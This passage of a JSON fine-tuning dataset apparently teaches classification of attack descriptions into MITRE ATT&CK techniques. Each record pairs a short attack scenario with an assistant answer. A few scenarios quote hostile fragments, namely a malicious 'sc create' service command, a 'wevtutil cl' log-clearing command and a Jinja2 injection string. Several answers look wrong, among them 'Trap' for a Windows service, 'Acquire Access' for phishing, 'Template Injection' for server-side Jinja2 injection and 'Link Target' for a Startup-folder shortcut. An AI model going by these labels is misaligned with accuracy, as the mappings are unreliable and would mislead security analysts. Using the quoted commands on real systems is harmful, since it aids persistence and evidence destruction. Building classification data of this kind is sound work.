                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors generate exploit code to target a recently patched authentication bypass flaw."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks the software distribution channel to replace the authentic installer with a backdoored version."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script exploited a CVE in the device's HTTP service to download the encrypted configuration archive."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware communicates with its C2 server by sending and receiving messages through the victim’s corporate email account using IMAP."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers accessed the web hosting control panel using default credentials and uploaded defaced index files."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reads /proc/[pid]/mem of a high‑privilege process to extract password hashes from its memory."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uploads a tampered BIOS image via a compromised vendor tool, ensuring the payload runs before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A QR code displayed on a conference poster redirected users to a malicious website that automatically downloaded a trojan when scanned."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script continuously opens and closes sockets on a Linux host, exhausting available file descriptors and causing endpoint failure."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider extracts an unsecured RSA private key from a cloud VM's metadata service and uses it to decrypt captured network traffic."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code writes to the 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' key to suppress event logging."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the native API NtResumeThread to resume a suspended thread after modifications."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performed a phishing campaign with malicious attachments that, when opened, installed a backdoor for access."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits msiexec to run a payload by passing a disguised MSI file that contains a malicious DLL, leveraging the trusted binary."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group leverages the AppInit_DLLs registry value to load a malicious library into every user process."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group establishes a new application account with elevated permissions to deploy backdoors."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a new Windows service using sc.exe with the command \"sc create MaliciousSvc binPath= \\\"C:\\malware.exe\\\" start= auto\" to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious file is delivered via a WhatsApp message from a spoofed colleague, prompting the user to install a trojan."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent implant changes the Windows boot parameters to start in Safe Mode, allowing the attacker to disable firewall and antivirus."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Kubernetes API, the attacker schedules a recurring pod that performs credential dumping from worker nodes."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors execute their payload by invoking msiexec.exe with a crafted MSI that runs a malicious script, using it as a proxy for code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses dd to write random data over the first few megabytes of the disk, destroying the file system structure."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through manipulation of input that is directly fed into a Jinja2 template, the attacker injects {{ config.__class__ }} to read sensitive configuration files."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sources malicious code snippets from public repositories and stitches them together to create a new info‑stealer."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host's password hash is reused by the attacker to authenticate to services, avoiding password cracking."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool overwrites the host's internal image with an infected version that runs hidden payloads at boot."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor issues recursive DNS requests to map the target's internal DNS zones and resolve hostnames."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in a COM object and the registry is modified so that the system loads this object during normal application startup, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a Windows service that automatically executes malicious code whenever a user logs on, using the trap event‑triggered execution technique."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated malware component installs a custom PasswordFilters.dll, hijacking the authentication mechanism to retrieve clear‑text passwords from the system."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries configure a double proxy tunnel, first connecting to an external server, which then relays the traffic to a secondary internal proxy before reaching the target."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor writes malicious code to the platform's firmware update mechanism to gain early boot execution."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deletes the boot sector and all file system metadata, effectively performing a disk structure wipe."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker first compromises a web server, then drops a secondary payload to establish a reverse shell, using the initial foothold to download additional modules."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker creates a fake printer with a malicious print processor executable to achieve covert persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a payload disguised as a .zip archive, but the archive actually contained an executable disguised with a .pdf extension."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes a Command‑and‑Control channel over HTTPS to blend with normal web traffic."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Windows API function LoadLibraryA to load a malicious portable executable into the address space of a legitimate Windows service."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the CreateProcess API with CREATE_SUSPENDED flag, then writes a custom PE into the target process's address space before calling ResumeThread."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Microsoft Management Console to load a malicious extension and run arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conducting a credential stuffing attack to gain access to multiple accounts"
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised third‑party vendor's email account to send phishing emails that request confidential project files."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a spearphishing email with a disguised .docx file that, when opened, executes a PowerShell script to establish a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Execution is gated on the presence of a specific IPv4 address range associated with the target network; if the address is outside this range, the payload exits."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code calls the Windows API GetAdaptersInfo to obtain the list of network interfaces."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the system's code signing enforcement settings to permit execution of unsigned binaries."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor leverages a compromised Kubernetes API server to issue commands to pods."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing voice campaign targeted finance department heads, asking them to confirm wire transfer details over the phone."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulated a compromised Chef server's cookbook to include a malicious Ruby script that created a new local admin user."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a remote thread in a legitimate Windows service to execute its payload."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware harvests a refresh token from a cloud service configuration file to generate new access tokens."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding a malicious add‑in entry to the Office customization XML, the attacker ensures the payload runs whenever any Office application is started."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script reads the BIOS serial number and compares it against a hard‑coded list; execution continues only on matching hardware."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Botnet samples were seen to generate 1000 domain names per day using a custom algorithm and attempt DNS resolution."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses launchd to automatically execute a downloader script when the device wakes from sleep."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses a non‑standard ROT13 variant to obfuscate stolen credentials before uploading them."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the built‑in AT utility, the threat actor sets a recurring task that launches a reverse shell every night at 2 AM."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed a base‑64 encoded IP address in a DNS query response, which the malware decodes to establish contact."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a malicious Excel spreadsheet with macros to a specific executive, which when enabled installs a credential dumping tool."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disables strong cipher algorithms in the application, limiting encryption to DES with a 56‑bit key."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses compromised email accounts to send spearphishing messages with malicious URLs that bypass filters."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a payload, then uses Process Hollowing to replace the executable image of a legitimate service host, allowing it to run with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a workstation, the adversary reuses the retrieved NTLM hash to execute commands via WMI on another machine."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A zero‑day exploit grants low‑level disk access, which the actor uses to issue NVMe format commands, wiping the SSD."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a script that registers a new local user and grants it sudo‑like rights."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script adds a new entry to /Library/LaunchDaemons/com.apple.periodic.plist to execute a hidden script daily."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post‑exploitation module executed \"wevtutil cl Setup\" to erase log files from the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerable printer driver to load a malicious port monitor that runs at system startup, providing persistent access."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a .lnk shortcut in the user's Startup folder that points to a hidden payload executable."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employs a custom script to convert Unicode‑escaped strings back to readable code."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker tampers with the installer script of a productivity suite, adding a payload that runs with user privileges."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker swaps the authentic graphics driver binary with a malicious one to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor engaged in NTP monlist amplification, leveraging vulnerable NTP servers to amplify traffic towards the victim."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware parses the Android device's /data/app directory to list all installed app packages for further targeting."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code calls ptrace to suspend a target process, injects a dynamic library, and then restarts the process to execute the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace a legitimate executable's digital signature with a bogus one to make malware appear trusted."
            },
            {
                "role": "assistant",
